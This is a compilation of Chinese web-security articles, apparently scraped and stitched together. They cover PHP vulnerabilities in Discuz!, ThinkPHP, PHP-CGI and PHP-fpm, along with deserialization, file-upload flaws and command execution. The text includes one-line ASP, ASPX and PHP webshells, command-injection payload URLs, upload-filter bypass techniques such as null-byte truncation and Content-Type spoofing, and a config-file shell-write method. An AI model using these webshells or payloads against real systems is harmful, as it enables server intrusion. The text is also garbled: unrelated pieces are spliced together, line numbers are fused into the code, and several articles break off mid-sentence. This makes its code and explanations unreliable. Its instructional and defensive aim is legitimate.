include/global.func.php代码⾥:01function daddslashes($string, $force= 0) {02 !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());03 if(!MAGIC_QUOTES_GPC || $force) {04 if(is_array($string)) {05 foreach($string as$key=> $val) {06 $string[$key] = daddslashes($val, $force);07 }08 } else{09 $string= addslashes($string);10 }11 }12 return$string;13}include/common.inc.php⾥:1foreach(array('_COOKIE', '_POST', '_GET') as$_request) {2 foreach($$_request as$_key=> $_value) {3 $_key{0} != '_'&& $$_key= daddslashes($_value);//变量引⼊0001112224 }5}模拟register_globals功能的代码,在GPC为off时会调⽤addslashes()函数处理变量值,但是如果直接使⽤$_GET/$_POST/$_COOKIE这样的变量,这个就不起作⽤了,然⽽dz的源码⾥直接使⽤$_GET/$_POST/$_COOKIE的地⽅很少,存在漏洞的地⽅更加少:(不过还有其他的绕过⽅法,在register_globals=on下通过提交GLOBALS变量就可以绕过上⾯的代码了.为了防⽌这种情况,dz中有如下代码:1if(isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {2 exit('Request tainting attempted.');3}这样就没法提交GLOBALS变量了么?$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,⽽不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)⼆、漏洞位置⼀[HIDE]三、漏洞位置⼆include/discuzcode.func.php01function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon= 0, $allowsmilies= 1, $allowbbcode= 1, $allowimgcode= 1, $allowhtml= 0, $jammer= 0, $parsetype= '0', $authorid= '0', $allowmediacode= '0', $pid= 0) {02 global$discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;03 if($parsetype!= 1 && !$bbcodeoff&& $allowbbcode&& (strpos($message, '[ /code]') || strpos($message, '[ /CODE]')) !== FALSE) {04 $message= preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);05 }06 $msglower= strtolower($message);07 //$htmlon = $htmlon && $allowhtml ? 1 : 0;08 if(!$htmlon) {09 $message= $jammer? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);10 }11 if(!$smileyoff&& $allowsmilies&& !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {12 if(!$discuzcodes['smiliesreplaced']) {13 foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key=> $smiley) {14 $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';15 }16 $discuzcodes['smiliesreplaced'] = 1;16 $discuzcodes['smiliesreplaced'] = 1;17 }18 $message= preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);19 }20 ......119⾏:1$message= preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies); //让preg_replace 加上/e 修正符,产⽣代码执⾏四、POC访问⼀个存在的帖⼦,需要访问的页⾯有表情。
PHP反序列化漏洞详解(魔术方法)
PHP反序列化漏洞详解(魔术⽅法)⽂章⽬录⼀、PHP⾯向对象编程在⾯向对象的程序设计(Object-oriented programming,OOP)中,对象是⼀个由信息及对信息进⾏处理的描述所组成的整体,是对现实世界的抽象。
类是⼀个共享相同结构和⾏为的对象的集合。
每个类的定义都以关键字class开头,后⾯跟着类的名字。
创建⼀个PHP类:<?phpclass TestClass //定义⼀个类{//⼀个变量public $variable = 'This is a string';//⼀个⽅法public function PrintVariable(){echo $this->variable;}}//创建⼀个对象$object = new TestClass();//调⽤⼀个⽅法$object->PrintVariable();>public、protected、privatePHP 对属性或⽅法的访问控制,是通过在前⾯添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地⽅被访问。
protected(受保护):受保护的类成员则可以被其⾃⾝以及其⼦类和⽗类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。
注意:不同修饰符序列化后的值不⼀样访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所⽰:public:属性被序列化的时候属性值会变成属性名protected:属性被序列化的时候属性值会变成\x00*\x00属性名private:属性被序列化的时候属性值会变成\x00类名\x00属性名其中:\x00表⽰空字符,但是还是占⽤⼀个字符位置魔术⽅法(magic函数)PHP中把以两个下划线__开头的⽅法称为魔术⽅法(Magic methods)类可能会包含⼀些特殊的函数:magic函数,这些函数在某些情况下会⾃动调⽤。
PHP-CGI远程代码执行漏洞分析与防范
PHP-CGI远程代码执⾏漏洞分析与防范CVE-2012-1823出来时据说是“PHP远程代码执⾏漏洞”,曾经也“轰动⼀时”,当时的我只是刚踏⼊安全门的⼀个⼩菜,直到前段时间tomato师傅让我看⼀个案例,我才想起来这个漏洞。
通过在中对这个漏洞环境的搭建与漏洞原理的分析,我觉得还挺有意思的,故写出⼀篇⽂章来,和⼤家分享。
⾸先,介绍⼀下PHP的运⾏模式。
下载PHP源码,可以看到其中有个⽬录叫sapi。
sapi在PHP中的作⽤,类似于⼀个消息的“传递者”,⽐如我在《》⼀⽂中介绍的fpm,他的作⽤就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执⾏。
除了fpm,最常见的sapi应该是⽤于Apache的mod_php,这个sapi⽤于php和apache之间的数据交换。
php-cgi也是⼀个sapi。
在远古的时候,web应⽤的运⾏⽅式很简单,web容器接收到http数据包后,拿到⽤户请求的⽂件(cgi 脚本),并fork出⼀个⼦进程(解释器)去执⾏这个⽂件,然后拿到执⾏结果,直接返回给⽤户,同时这个解释器⼦进程也就结束了。
基于bash、perl等语⾔的web应⽤多半都是以这种⽅式来执⾏,这种执⾏⽅式⼀般就被称为cgi,在安装Apache的时候默认有⼀个cgi-bin⽬录,最早就是放置这些cgi脚本⽤的。
但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有⼀定消耗的,⽽且进程的数量也不是⽆限的。
所以,基于cgi 模式运⾏的⽹站通常不能同时接受⼤量请求,否则每个请求⽣成⼀个⼦进程,就有可能把服务器挤爆。
于是后来就有了fastcgi,fastcgi进程可以将⾃⼰⼀直运⾏在后台,并通过fastcgi协议接受数据包,执⾏后返回结果,但⾃⾝并不退出。
php有⼀个叫php-cgi的sapi,php-cgi有两个功能,⼀是提供cgi⽅式的交互,⼆是提供fastcgi⽅式的交互。
也就说,我们可以像perl⼀样,让web容器直接fork⼀个php-cgi进程执⾏某脚本;也可以在后台运⾏php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi 的管理器),并让web容器⽤fastcgi协议和9000交互。
论PHP常见的漏洞WooYun知识库
论PHP 常见的漏洞WooYun 知识库首先拿到一份源码 肯定是先install 上。
而在安装文件上又会经常出现问题。
一般的安装文件在安装完成后 基本上都不会自动删除这个安装的文件 我遇到过的会自动删除的好像也就qibocms 了。
其他的基本都是通过生成一个lock 文件 来判断程序是否安装过了 如果存在这个lock 文件了 就会退出了。
这里首先 先来说一下安装文件经常出现的问题。
根本无验证。
这种的虽然不多 但是有时还是会遇到个。
在安装完成后 并不会自动删除文件 又不会生成lock 来判断是否安装过了。
导致了可以直接重装过例子: WooYun: PHPSHE B2C 重装。
安装file因为install 一般都会有step 步骤啥的。
Step 1 check 啥啥 step 2 是安装啥的。
而一些cms 默认step 是1 而step 又是GET 来的 而他check lock 的时候就是在step1里面。
这时候如果我们直接用GET 提交step 2 那么就直接进入下一步了 就没check lock 了。
例如某cms 中的安装文件1 2 3 4 5 6 7 8 9 if (empty ($step)){$step = 1;//当用户没有提交step 的时候 赋值为1}require_once ("includes/inc_install.php");$gototime = 2000;/*------------------------显示协议文件------------------------*/10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if ($step == 1) //当1才检测lock{if (file_exists('installed.txt')){echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/></head><body>你已经安装过该系统,如果想重新安装,请先删除install 目录下的 installed.txt 文件,然后再安装。
「原创」萌新也能看懂的ThinkPHP3.2.3漏洞分析
「原创」萌新也能看懂的ThinkPHP3.2.3漏洞分析ThinkPHP是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,可以⽀持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
⽹上关于ThinkPHP的漏洞分析⽂章有很多,今天分享的内容是 i 春秋论坛作者佳哥原创的⽂章。
本⽂是作者在学习ThinkPHP3.2.3漏洞分析过程中的⼀次完整的记录,⾮常适合初学者,⽂章未经许可禁⽌转载!注:i 春秋公众号旨在为⼤家提供更多的学习⽅法与技能技巧,⽂章仅供学习参考。
where注⼊在控制器中,写个demo,利⽤字符串⽅式作为where传参时存在注⼊。
public function getuser(){$user = M('User')->where('id='.I('id'))->find();dump($user);}在变量user地⽅进⾏断点,PHPSTROM F7进⼊,I⽅法获取传⼊的参数。
switch(strtolower($method)) {case 'get' :$input =& $_GET;break;case 'post' :$input =& $_POST;break;case 'put' :if(is_null($_PUT)){parse_str(file_get_contents('php://input'), $_PUT);}$input = $_PUT;break;case 'param' :switch($_SERVER['REQUEST_METHOD']) {case 'POST':$input = $_POST;break;case 'PUT':if(is_null($_PUT)){parse_str(file_get_contents('php://input'), $_PUT);}$input = $_PUT;break;default:$input = $_GET;}break;......重点看过滤函数先利⽤htmlspecialchars函数过滤参数,在第402⾏,利⽤think_filter函数过滤常规sql函数。
Discuz!7.07.2和Phpwind7.5后台鸡肋漏洞漏洞预警-电脑资料
Discuz!7.07.2和Phpwind7.5后台鸡肋漏洞漏洞预警-电脑资料很多人有了,流传出来了,然后发出来,。
现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。
DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp 下)。
一、discuz后台settings.inc.php中写shell漏洞:漏洞详情:if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {$ucdbpassnew = $settingsnew[''uc''][''dbpass''] == ''********'' ? UC_DBPW : $settingsnew[''uc''][''dbpass''];if($settingsnew[''uc''][''connect'']) {$uc_dblink = @mysql_connect($settingsnew[''uc''][''dbhost''], $settingsnew[''uc''][''dbuser''], $ucdbpassnew, 1);if(!$uc_dblink) {cpmsg(''uc_database_connect_error'', '''', ''error'');} else {mysql_close($uc_dblink);}}$fp = fopen(''./config.inc.php'', ''r'');$configfile = fread($fp, filesize(''./config.inc.php''));$configfile = trim($configfile);$configfile = substr($configfile, -2) == ''?>'' ? substr($configfile, 0, -2) : $configfile;fclose($fp);$connect = '''';if($settingsnew[''uc''][''connect'']) {require ''./config.inc.php'';$connect = ''mysql'';$samelink = ($dbhost == $settingsnew[''uc''][''dbhost''] && $dbuser == $settingsnew[''uc''][''dbuser''] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == ''gbk'' && UC_DBCHARSET == ''latin1'' || $dbcharset == ''latin1'' && UC_DBCHARSET == ''gbk'');$configfile = insertconfig($configfile, "/define\(''UC_DBHOST'',\s*''.*?''\);/i", "define(''UC_DBHOST'', ''".$settingsnew[''uc''][''dbhost'']."'');");//正则表示从''到'')中的被替换,而'')可以被任意提交,from $configfile = insertconfig($configfile, "/define\(''UC_DBUSER'',\s*''.*?''\);/i", "define(''UC_DBUSER'', ''".$settingsnew[''uc''][''dbuser'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_DBPW'',\s*''.*?''\);/i", "define(''UC_DBPW'', ''".$ucdbpassnew."'');");$configfile = insertconfig($configfile, "/define\(''UC_DBNAME'',\s*''.*?''\);/i", "define(''UC_DBNAME'', ''".$settingsnew[''uc''][''dbname'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_DBTABLEPRE'',\s*''.*?''\);/i","define(''UC_DBTABLEPRE'',''`".$settingsnew[''uc''][''dbname''].''`.''.$settingsnew[''uc''][''dbta blepre'']."'');");//$configfile = insertconfig($configfile,"/define\(''UC_LINK'',\s*''?.*?''?\);/i", "define(''UC_LINK'', ".($samelink && $samecharset ? ''TRUE'' : ''FALSE'').");");}$configfile = insertconfig($configfile, "/define\(''UC_CONNECT'',\s*''.*?''\);/i", "define(''UC_CONNECT'', ''$connect'');");$configfile = insertconfig($configfile, "/define\(''UC_KEY'',\s*''.*?''\);/i", "define(''UC_KEY'', ''".$settingsnew[''uc''][''key'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_API'',\s*''.*?''\);/i", "define(''UC_API'', ''".$settingsnew[''uc''][''api'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_IP'',\s*''.*?''\);/i", "define(''UC_IP'', ''".$settingsnew[''uc''][''ip'']."'');");$configfile = insertconfig($configfile, "/define\(''UC_APPID'',\s*''?.*?''?\);/i", "define(''UC_APPID'', ''".$settingsnew[''uc''][''appid'']."'');");$fp = fopen(''./config.inc.php'', ''w'');if(!($fp = @fopen(''./config.inc.php'', ''w''))) {cpmsg(''uc_config_write_error'', '''', ''error'');}@fwrite($fp, trim($configfile));@fclose($fp);}settings.inc.php对提交的数据缺乏有效过滤,导致可以写入'')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件,电脑资料《Discuz!7.07.2和Phpwind7.5后台鸡肋漏洞漏洞预警》(https://www.)。
文件上传漏洞详解
⽂件上传漏洞详解0x01 上传漏洞定义⽂件上传漏洞是指⽤户上传了⼀个可执⾏的脚本⽂件,并通过此脚本⽂件获得了执⾏服务器端命令的能⼒。
这种攻击⽅式是最为直接和有效的,“⽂件上传”本⾝没有问题,有问题的是⽂件上传后,服务器怎么处理、解释⽂件。
如果服务器的处理逻辑做的不够安全,则会导致严重的后果.0x02 上传漏洞危害1.上传⽂件是Web脚本语⾔,服务器的Web容器解释并执⾏了⽤户上传的脚本,导致代码执⾏。
2.上传⽂件是病毒或者⽊马时,主要⽤于诱骗⽤户或者管理员下载执⾏或者直接⾃动运⾏;3.上传⽂件是Flash的策略⽂件crossdomain.xml,⿊客⽤以控制Flash在该域下的⾏为(其他通过类似⽅式控制策略⽂件的情况类似);4.上传⽂件是病毒、⽊马⽂件,⿊客⽤以诱骗⽤户或者管理员下载执⾏。
5.上传⽂件是钓鱼图⽚或为包含了脚本的图⽚,在某些版本的浏览器中会被作为脚本执⾏,被⽤于钓鱼和欺诈。
除此之外,还有⼀些不常见的利⽤⽅法,⽐如将上传⽂件作为⼀个⼊⼝,溢出服务器的后台处理程序,如图⽚解析模块;或者上传⼀个合法的⽂本⽂件,其内容包含了PHP脚本,再通过"本地⽂件包含漏洞(Local File Include)"执⾏此脚本;等等。
0x03 上传漏洞满⾜条件⾸先,上传的⽂件能够被Web容器解释执⾏。
所以⽂件上传后所在的⽬录要是Web容器所覆盖到的路径。
其次,⽤户能够从Web上访问这个⽂件。
如果⽂件上传了,但⽤户⽆法通过Web访问,或者⽆法得到Web容器解释这个脚本,那么也不能称之为漏洞。
最后,⽤户上传的⽂件若被安全检查、格式化、图⽚压缩等功能改变了内容,则也可能导致攻击不成功。
0x04 上传漏洞产⽣的原因⼀些web应⽤程序中允许上传图⽚,⽂本或者其他资源到指定的位置,⽂件上传漏洞就是利⽤这些可以上传的地⽅将恶意代码植⼊到服务器中,再通过url去访问以执⾏代码.造成⽂件上传漏洞的原因是:1.服务器配置不当2.开源编辑器上传漏洞3.本地⽂件上传限制被绕过4.过滤不严或被绕过5.⽂件解析漏洞导致⽂件执⾏6.⽂件路径截断0x05 上传漏洞的原理⼤部分的⽹站和应⽤系统都有上传功能,⼀些⽂件上传功能实现代码没有严格限制⽤户上传的⽂件后缀以及⽂件类型,导致允许攻击者向某个可通过Web访问的⽬录上传任意PHP⽂件,并能够将这些⽂件传递给PHP解释器,就可以在远程服务器上执⾏任意PHP脚本。
常见漏洞原理及防护方法
需防护场景
服务器会接受外部 URL 或域名,并且会发起访问的场景。
防护方案
提取访问目标的 hostname ,进行 DNS 解析,判断 IP 是否处于内网。 需要防范短链接指向内网,或者 302 跳转到内网的情况。因此需设置循环次 数,在循环次数内,每次跳转跟进都要对目标 URL 提取主机名解析 IP ,判断 IP 是 否在内网,禁止对内网访问。 若业务场景需访问目的地址可控,则对访问地址进行限制 使用 squid 搭建外网代理,设置 ACL 禁止目的地址为公司内网网段的访问。 所有出口外网的请求都经 squid 代理,可以完整地规避代码防范不周导致的 SSRF 漏洞。
由于没有限制上传文件的类型、后缀,导致任意类型文件可上传存储在服务 器。
安全威胁
危险的木马、病毒会存储在服务器,导致入侵检测系统报警。 若用户上传 HTML、SWF 等网页/flash 文件,可导致钓鱼攻击、XSS 攻击。 若用户上传 WebShell 且可执行,可导致服务器被入侵。
防护方案
1. 以下必须全部执行 ➢ 使用白名单对文件后缀进行校验 ➢ 检测 MIME 头和文件头是否与文件后缀匹配 ➢ 对保存的文件名强制随机化命名 2. 额外建议执行 ➢ 使用 Ceph 或者对象存储存放用户上传的文件,与 Web 容器隔离 ➢ 用户隐私相关的文件不可无访问控制上传到 CDN ➢ 用户隐私文件应设置权限只有属主用户才能访问 ➢ 在 Nginx 配置 urlrewrite 规则,只允许合法的 url 访问。
安全威胁
泄漏源码、泄漏系统敏感文件。
需防护场景
1. 下载服务场景:用户输入文件名,可以下载文件。 2. 文件读取场景:用户输入文件名,后台服务读取相应文件内容然后返回
php反序列化漏洞原理
php反序列化漏洞原理
php 反序列化漏洞是一种在php执行环境中存在的漏洞,它可以被攻击者利用来执行任意php代码。
这种漏洞是源于
php脚本利用可以处理可变数量参数函数(如unserialize)
对对象进行反序列化时可能存在的安全漏洞。
反序列化漏洞开始于php中实现的反序列化机制,它可
以将一个php对象(也就是一段字符串)反序列化为一个php
对象,这个php对象与原来的一样。
这种机制让php可以在不同的php运行环境中完全还原一个对象,这样的能力让php可以在以不同的方式进行对象持久化。
但是反序列化过程时不安全的,攻击者可以拿到unserialize函数反序列化过程中传递的参数,修改参数,修
改属性或者方法,进而植入恶意代码,而这些属性或方法在反序列化完成后可以被直接执行,因此攻击者可以利用反序列化漏洞执行任意的php代码,从而达到攻击的目的。
总的来说,反序列化漏洞是一种php中潜在的安全漏洞,攻击者可以利用它来执行任意的php代码。
只要被反序列化的php对象能够被注入恶意代码,攻击者就可以轻易实现其目的,所以建议php开发者注意反序列化过程并加以限制。
命令执行漏洞
命令执行漏洞作者美创科技安全实验室No.1、漏洞描述命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。
如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system()、exec()、shell_exec()、passthru()、pcntl_execl()、popen()、proc_open()等。
当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。
PHP执行命令是继承WebServer 用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大。
No.2、漏洞危害●继承Web服务器程序的权限,去执行系统命令或读写文件●反弹shell●控制整个网站,甚至控制整个服务器No.3、漏洞产生的原因1.没有对用户输入进行过滤或过滤不严例如,没有过滤&、&&、|、||等连接符2.系统漏洞造成的命令执行bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等。
3.调用的第三方组件存在代码执行漏洞例如:php(system()、shell_exec()、exec()、eval())JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行No.4、常见危险函数1.Php代码相关●eval()●assert()●preg_replace●call_user_func()●call_user_func_array()●create_function●array_map()2.系统命令执行相关●system()●passthru()●exec()●pcntl_exec()●shell_exec()●popen()●proc_open()●`(反单引号)●ob_start()No.5、漏洞利用漏洞利用_1访问:http://127.0.0.1/test.php?cmd=127.0.0.1;pwd也就是执行了“pwd”命令漏洞利用_2访问:http://127.0.0.1/test.php?fun=system&par=whoami 其实就相当于执行了system("whoami")漏洞利用_3访问:http://127.0.0.1/test.php?code=phpinfo();No.6、防范措施1.在PHP下禁用高危系统函数找到php.ini,查找到disable_functions,添加禁用的函数名2.参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义。
PHP常见漏洞及解决方法
POST漏洞 POST漏洞(1) 漏洞(1)
漏洞原因
在一些留言本和论坛程序中,更要严格检查页 面的方式和提交的时间间隔.以防止灌水式发 帖和外部提交.
范例
... $text1=flt_tags($text1); $text2=flt_tags($text2); $text3=flt_tags($text3); $fd=fopen("data.php","a"); fwrite($fd,"\r\n$text1&line;$text2&line;$text3"); fclose($fd); ...
POST漏洞 POST漏洞(2) 漏洞(2)
漏洞解决
$_SESSION["allowgbookpost"]=time(); //登记填写时的时间 <BR>在接受留言数据并保存的页面中我们在进行数据处理 前我们也用Session进行以下处理: if(strtoupper($_SERVER["REQUEST_METHOD"])!="POST"){ die("错误:请勿在外部提交."); } //检查页面获得方法是否 为POST POST if(!isset($_SESSION["allowgbookpost"]) or (time()$_SESSION["allowgbookpost"] < 10)){ die("错误:请勿在外 部提交."); } //检查留言填写时的时间 if(isset($_SESSION["gbookposttime"]) and (time()$_SESSION["gbookposttime"] < 120)){ die("错误:两次提交 留言的间隔不得少于2分钟.") ; } //检查留言间隔 unset($_SESSION["allowgbookpost"]); //注入allowgbookpost 变量以防止一次写入填写页面多次进行提交 $_SESSION["gbookposttime"]=time(); //登记发送留言的时 间,防止灌水或恶意攻击
ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例
ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例ref:https:///post/id/84922PHP反序列化漏洞成因及漏洞挖掘技巧与案例⼀、序列化和反序列化序列化和反序列化的⽬的是使得程序间传输对象会更加⽅便。
序列化是将对象转换为字符串以便存储传输的⼀种⽅式。
⽽反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使⽤。
在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。
反序列化本⾝并不危险,但是如果反序列化时,传⼊反序列化函数的参数可以被⽤户控制那将会是⼀件⾮常危险的事情。
不安全的进⾏反序列化造成的危害只有你想不到,没有他做不到,是的,没错。
序列化和反序列化的原理已经有很多⽂章了,这⾥就不赘述了。
PHP的类有很多的 '魔术⽅法' ,⽐如:__construct(), __destruct()__call(), __callStatic()__get(), __set()__isset(), __unset()__sleep(), __wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()魔术⽅法是PHP⾯向对象中特有的特性。
它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩⼦,利⽤模式⽅法可以轻松实现(Overloading即动态创建类属性和⽅法)。
问题就出现在重载过程中,执⾏了相关代码。
这么多的魔术⽅法中我们所需要关注的⽅法也就是__destruct() 和 __wakeup() ⽅法.这两个⽅法中前者是在对象被销毁时程序会⾃动调⽤,后者是在类对象被反序列化时被调⽤.所以这两个⽅法是在对象反序列化⼀直到程序执⾏完毕这整个过程中,必定会被调⽤的⽅法,如果在这两个函数中有⼀些危险的动作,并且能够被我们所利⽤,那么漏洞并出现了。
⼆、反序列漏洞的利⽤思路理论在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有⼀种漏洞利⽤⽅法叫做 "⾯向属性编程" ,即 POP( Property Oriented Programming)。
一句话木马绕过和防御
一句话木马绕过和防御作者:jaivy若有错误欢迎指正,非常感谢!若有疑问欢迎讨论,共同学习!·WebShellWebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
中国菜刀可以连接asp、aspx、php、jsp的一句话木马。
·常见的一句话木马Asp:<%eval request("x")%>aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%> php: <?php @eval($_POST['x']);?>密码均为x一、本地检测及绕过方法·前台文件扩展名检测(弹小框框的一般就是该检测了)(本地漏洞客户端漏洞改扩展名,burp抓包,改回来即可)四种办法绕过,1 . 00截断(两种方式实现,但实质都一样)00截断原理:计算机遇到'\0'字符,就认为字符串结束了。
(可以联系c语言字符串后面自动添加了一个‘\0’来判断是否到达末尾来理解)方法一:在hex中修改(在16进制中修改)找到文件名pass.php.jpg对应的地方把2e改为00(【2e】是字符【.】对应的hex值)方法二直接在.php后面加上%00然后选中%00,对其进行url-decode 处理方法三:直接用在.php后面加上【’\0’】(但此方法是有时无效)方法四:直接把【pass.php.jpg改为pass.php】·content-type参数检测(修改数据包content-type)ContentType 一般参数有application/x-cdf 应用型文件text/HTML 文本image/JPEG jpg 图片image/GIF gif图片把ContentType 由application/x-cdf改为image/gif·文件内容检测:文件内容检测脚本中getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错,是一种比较严的防御措施。
PHP-fpm远程代码执行漏洞(CVE-2019-11043)源码分析
PHP-fpm远程代码执⾏漏洞(CVE-2019-11043)源码分析⼀、漏洞复现1、搭建docker环境(yum install docker-re)2、拉取镜像配置docker-compose.yml⽂件,并拉取镜像docker-compose up -dversion: '2'services:nginx:image: nginx:1volumes:- ./www:/usr/share/nginx/html- ./default.conf:/etc/nginx/conf.d/default.confdepends_on:- phpports:- "8080:80"php:image: php:7.1.32-fpmvolumes:- ./www:/var/www/htmldefault.confserver {listen 80 default_server;listen [::]:80 default_server;root /usr/share/nginx/html;index index.html index.php;server_name _;location / {try_files $uri $uri/ =404;}location ~ [^/]\.php(/|$) {fastcgi_split_path_info ^(.+?\.php)(/.*)$;include fastcgi_params;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_index index.php;fastcgi_param REDIRECT_STATUS 200;fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;fastcgi_param DOCUMENT_ROOT /var/www/html;fastcgi_pass php:9000;}}⼆、源码分析static void init_request_info(void){fcgi_request *request = (fcgi_request*) SG(server_context);//⽂件绝对路径char *env_script_filename = FCGI_GETENV(request, "SCRIPT_FILENAME");//env_path_translated值和env_script_filename值⼀样char *env_path_translated = FCGI_GETENV(request, "PATH_TRANSLATED");char *script_path_translated = env_script_filename;char *ini;int apache_was_here = 0;/* some broken servers do not have script_filename or argv0* an example, IIS configured in some ways. then they do more* broken stuff and set path_translated to the cgi script location */if (!script_path_translated && env_path_translated) {script_path_translated = env_path_translated;}/* initialize the defaults */SG(request_info).path_translated = NULL;SG(request_info).request_method = NULL;SG(request_info).proto_num = 1000;SG(request_info).query_string = NULL;SG(request_info).request_uri = NULL;SG(request_info).content_type = NULL;SG(request_info).content_length = 0;SG(sapi_headers).http_response_code = 200;if (script_path_translated) {const char *auth;//获取request请求中的参数char *content_length = FCGI_GETENV(request, "CONTENT_LENGTH");char *content_type = FCGI_GETENV(request, "CONTENT_TYPE");char *env_path_info = FCGI_GETENV(request, "PATH_INFO");char *env_script_name = FCGI_GETENV(request, "SCRIPT_NAME");...if (CGIG(fix_pathinfo)) {struct stat st;char *real_path = NULL;char *env_redirect_url = FCGI_GETENV(request, "REDIRECT_URL");char *env_document_root = FCGI_GETENV(request, "DOCUMENT_ROOT");char *orig_path_translated = env_path_translated;char *orig_path_info = env_path_info;char *orig_script_name = env_script_name;char *orig_script_filename = env_script_filename;int script_path_translated_len;...if (script_path_translated &&//script_path_translated_len是请求uri_path中第⼀个斜杠前的内容:如http://127.0.0.1/index.php/test,则变量的值为/var/www/html/index.php的长度(script_path_translated_len = strlen(script_path_translated)) > 0 &&(script_path_translated[script_path_translated_len-1] == '/' ||#ifdef PHP_WIN32script_path_translated[script_path_translated_len-1] == '\\' ||#endif(real_path = tsrm_realpath(script_path_translated, NULL)) == NULL)) {//字符串复制char *pt = estrndup(script_path_translated, script_path_translated_len);//url的长度取决于nginx的配置当请求url,http://127.0.0.1/index.php/123%0atest.php。
php漏洞全解
PHP网页的安全性问题针对PHP的网站主要存在下面几种攻击方式:1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script Insertion)4.跨网站脚本攻击(Cross Site Scripting, XSS)5.SQL注入攻击(SQL injection)6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)7.Session 会话劫持(Session Hijacking)8.Session 固定攻击(Session Fixation)9.HTTP响应拆分攻击(HTTP Response Splitting)10.文件上传漏洞(File Upload Attack)11.目录穿越漏洞(Directory Traversal)12.远程文件包含攻击(Remote Inclusion)13.动态函数注入攻击(Dynamic Variable Evaluation)14.URL攻击(URL attack)15.表单提交欺骗攻击(Spoofed Form Submissions)16.HTTP请求欺骗攻击(Spoofed HTTP Requests)几个重要的php.ini选项Register Globalsphp>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患.例1://check_admin()用于检查当前用户权限,如果是admin设置$is_admin变量为true,然后下面判断此变量是否为true,然后执行管理的一些操作//ex1.php<?phpif (check_admin()){$is_admin = true;}if ($is_admin){do_something();}?>这一段代码没有将$is_admin事先初始化为Flase,如果register_globals为On,那么我们直接提交 /ex1.php?is_admin=true,就可以绕过check_admin()的验证例2://ex2.php<?phpif (isset($_SESSION["username"])){do_something();}else{echo 